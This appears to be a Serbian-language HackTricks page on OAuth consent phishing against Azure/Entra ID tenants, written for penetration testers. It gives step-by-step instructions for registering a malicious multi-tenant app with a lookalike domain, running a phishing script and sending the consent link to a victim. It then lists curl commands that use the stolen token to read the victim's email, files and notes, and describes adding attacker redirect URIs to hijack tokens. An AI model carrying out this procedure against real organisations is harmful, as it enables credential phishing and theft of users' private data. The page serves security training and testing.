# Az - OAuth Apps Phishing

{{#include ../../../banners/hacktricks-training.md}}

## OAuth App Phishing

**Azure aplikacije** su konfigurisane sa dozvolama koje će moći da koriste kada korisnik da saglasnost aplikaciji (kao što je enumeracija direktorijuma, pristup datotekama ili izvršavanje drugih radnji). Imajte na umu da aplikacija deluje u ime korisnika, tako da čak i ako aplikacija može tražiti administratorske dozvole, ako **korisnik koji daje saglasnost nema tu dozvolu**, aplikacija **neće moći da izvršava administratorske radnje**.

### Dozvole za saglasnost aplikacije

Podrazumevano, svaki **korisnik može dati saglasnost aplikacijama**, iako se ovo može konfigurisati tako da korisnici mogu dati saglasnost samo za **aplikacije od verifikovanih izdavača za odabrane dozvole** ili čak **ukloniti dozvolu** korisnicima da daju saglasnost aplikacijama.

<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>

Ako korisnici ne mogu dati saglasnost, **administratori** kao što su `GA`, `Application Administrator` ili `Cloud Application` `Administrator` mogu **dati saglasnost aplikacijama** koje korisnici mogu koristiti.

Pored toga, ako korisnici mogu dati saglasnost samo za aplikacije koje koriste **niskorizične** dozvole, ove dozvole su podrazumevano **openid**, **profile**, **email**, **User.Read** i **offline_access**, iako je moguće **dodati više** na ovu listu.

I ako mogu dati saglasnost za sve aplikacije, mogu dati saglasnost za sve aplikacije.

### 2 Tipova napada

- **Neautentifikovani**: Iz spoljnog naloga kreirati aplikaciju sa **niskorizičnim dozvolama** `User.Read` i `User.ReadBasic.All`, na primer, phishing korisnika, i moći ćete da pristupite informacijama iz direktorijuma.
- Ovo zahteva da phished korisnik bude **u mogućnosti da prihvati OAuth aplikacije iz spoljnog tenanta**.
- Ako je phished korisnik neki administrator koji može **dati saglasnost bilo kojoj aplikaciji sa bilo kojim dozvolama**, aplikacija bi takođe mogla **tražiti privilegovane dozvole**.
- **Autentifikovani**: Nakon što je kompromitovan glavni korisnik sa dovoljno privilegija, **kreirati aplikaciju unutar naloga** i **phish** nekog **privilegovano** korisnika koji može prihvatiti privilegovane OAuth dozvole.
- U ovom slučaju već možete pristupiti informacijama iz direktorijuma, tako da dozvola `User.ReadBasic.All` više nije zanimljiva.
- Verovatno ste zainteresovani za **dozvole koje zahtevaju da ih administrator odobri**, jer običan korisnik ne može dati OAuth aplikacijama bilo koju dozvolu, zato treba da **phishujete samo te korisnike** (više o tome koje uloge/dozvole daju ovu privilegiju kasnije).

### Korisnicima je dozvoljeno da daju saglasnost

Imajte na umu da morate izvršiti ovu komandu iz korisnika unutar tenanta, ne možete pronaći ovu konfiguraciju tenanta iz spoljnog. Sledeća CLI može vam pomoći da razumete dozvole korisnika:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
```
- Korisnici mogu da daju saglasnost za sve aplikacije: Ako unutar **`permissionGrantPoliciesAssigned`** pronađete: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` tada korisnici mogu da prihvate svaku aplikaciju.
- Korisnici mogu da daju saglasnost za aplikacije od verifikovanih izdavača ili vaše organizacije, ali samo za dozvole koje odaberete: Ako unutar **`permissionGrantPoliciesAssigned`** pronađete: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` tada korisnici mogu da prihvate svaku aplikaciju.
- **Onemogućite saglasnost korisnika**: Ako unutar **`permissionGrantPoliciesAssigned`** možete pronaći samo: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` i `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` tada korisnici ne mogu dati saglasnost.

Moguće je pronaći značenje svake od komentarisane politika u:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
```
### **Administratori aplikacija**

Proverite korisnike koji se smatraju administratorima aplikacija (mogu prihvatiti nove aplikacije):
```bash
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
```
## **Pregled Tokova Napada**

Napad se sastoji od nekoliko koraka koji ciljaju generičku kompaniju. Evo kako bi to moglo izgledati:

1. **Registracija Domen i Hosting Aplikacije**: Napadač registruje domen koji podseća na pouzdanu stranicu, na primer, "safedomainlogin.com". Pod ovim domenom se kreira poddomen (npr., "companyname.safedomainlogin.com") za hosting aplikacije dizajnirane da hvata autorizacione kodove i zahteva pristupne tokene.
2. **Registracija Aplikacije u Azure AD**: Napadač zatim registruje Multi-Tenant Aplikaciju u svom Azure AD Tenantu, nazivajući je po ciljanom preduzeću kako bi izgledala legitimno. Konfiguriše URL za preusmeravanje aplikacije da upućuje na poddomen koji hostuje zlonamernu aplikaciju.
3. **Postavljanje Dozvola**: Napadač postavlja aplikaciju sa raznim API dozvolama (npr., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). Ove dozvole, kada ih korisnik odobri, omogućavaju napadaču da izvuče osetljive informacije u ime korisnika.
4. **Distribucija Zlonamernih Linkova**: Napadač kreira link koji sadrži ID klijenta zlonamerne aplikacije i deli ga sa ciljnim korisnicima, obmanjujući ih da daju saglasnost.

## Primer Napada

1. Registrujte **novu aplikaciju**. Može biti samo za trenutni direktorijum ako koristite korisnika iz napadnutog direktorijuma ili za bilo koji direktorijum ako je ovo spoljašnji napad (kao na sledećoj slici).
1. Takođe postavite **redirect URI** na očekivani URL gde želite da primite kod za dobijanje tokena (`http://localhost:8000/callback` po defaultu).

<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>

2. Zatim kreirajte tajnu aplikacije:

<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>

3. Izaberite API dozvole (npr. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`)

<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>

4. **Izvršite veb stranicu (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** koja traži dozvole:
```bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
```
5. **Pošaljite URL žrtvi**
1. U ovom slučaju `http://localhost:8000`
6. **Žrtve** treba da **prihvate obaveštenje:**

<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>

7. Koristite **pristupni token za pristup traženim dozvolama**:
```bash
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
```
## Ostali alati

- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Proverite [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) da biste saznali kako da ga konfigurišete.
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)

## Post-eksploatacija

### Phishing post-eksploatacija

U zavisnosti od traženih dozvola, možda ćete moći da **pristupite različitim podacima zakupca** (lista korisnika, grupa... ili čak da modifikujete podešavanja) i **informacijama o korisniku** (fajlovi, beleške, e-mailovi...). Tada možete iskoristiti te dozvole da izvršite te radnje.

### Entra ID aplikacije admin

Ako ste uspeli da kompromitujete nekako Entra ID principal koji može da upravlja aplikacijama u Entra ID, i postoje aplikacije koje koriste korisnici zakupca. Administrator bi mogao da **modifikuje dozvole koje aplikacija traži i doda novu dozvoljenu adresu za preusmeravanje da bi ukrao tokene**.
- Imajte na umu da je moguće **dodati redirect URIs** (nije potrebno brisati pravu) i zatim poslati HTTP link koristeći napadačev redirect URI, tako da kada korisnik prati link, autentifikacija se automatski dešava i napadač prima token.
- Takođe je moguće promeniti dozvole koje aplikacija traži kako bi dobila više dozvola od korisnika, ali u tom slučaju korisnik će morati da **ponovo prihvati prompt** (čak i ako je već bio prijavljen).
- Da bi izveo ovaj napad, napadač **NE TREBA** da kontroliše kod aplikacije jer može jednostavno poslati link za prijavu u aplikaciju korisniku sa novim URL-om u **`redirect_uri`** parametru.

### Post-eksploatacija aplikacije

Proverite sekcije Aplikacije i Servisni Principal na stranici:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## Reference

- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)

{{#include ../../../banners/hacktricks-training.md}}
